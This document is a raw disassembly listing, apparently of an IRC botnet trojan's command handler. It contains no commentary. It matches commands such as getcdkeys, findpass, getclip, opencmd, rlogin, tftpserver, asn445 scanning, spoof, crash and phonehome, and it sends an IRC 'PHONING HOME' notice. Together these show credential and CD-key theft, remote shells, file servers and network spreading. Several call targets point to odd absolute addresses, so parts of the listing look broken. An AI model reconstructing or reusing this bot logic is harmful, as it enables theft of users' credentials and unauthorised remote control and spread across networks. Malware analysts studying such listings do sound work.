		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C1F8
		push	offset dword_42C1EC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C1E8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1D4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------


loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]


loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------


loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C1A0
		call	sub_4151AC
		pop	ecx


loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C16C
		push	eax
		mov	dword_4CE758, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C0C4
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aAsn445	; "asn445"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5


loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C050
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4037D5


loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------


loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42C014
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_43161A
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_43161A
		jz	loc_401E94
		mov	ecx, edx


loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BFD4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------


loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431438, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431438


loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------


loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431438[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CAF48
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F


loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D


loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------


loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl


loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"


loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF54
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403A83


loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_403A71
; ---------------------------------------------------------------------------


loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		call	near ptr 2670E77h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF18
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42BEE0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42BEC0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------


loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h


loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108


loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42BE8C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403C13


loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------


loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		call	near ptr 2670E77h
		nop
		push	eax
		push	offset unk_42BE50
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------


loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C


loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------


loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2670000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BE14
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		call	near ptr 2670603h
		nop
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403D85


loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_403D73
; ---------------------------------------------------------------------------


loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42BDD8


loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------


loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------


loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080


loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]


loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D158


loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BD9C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		call	near ptr 2670603h
		nop
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403EDA


loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------


loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42BD60
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------


loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D


loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------


loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CAEC0
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42BD3C
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42BD10
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42BCE4


loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------


loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42BCC0
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42BC94
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BC7C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BC60
		jmp	loc_404285
; ---------------------------------------------------------------------------


loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
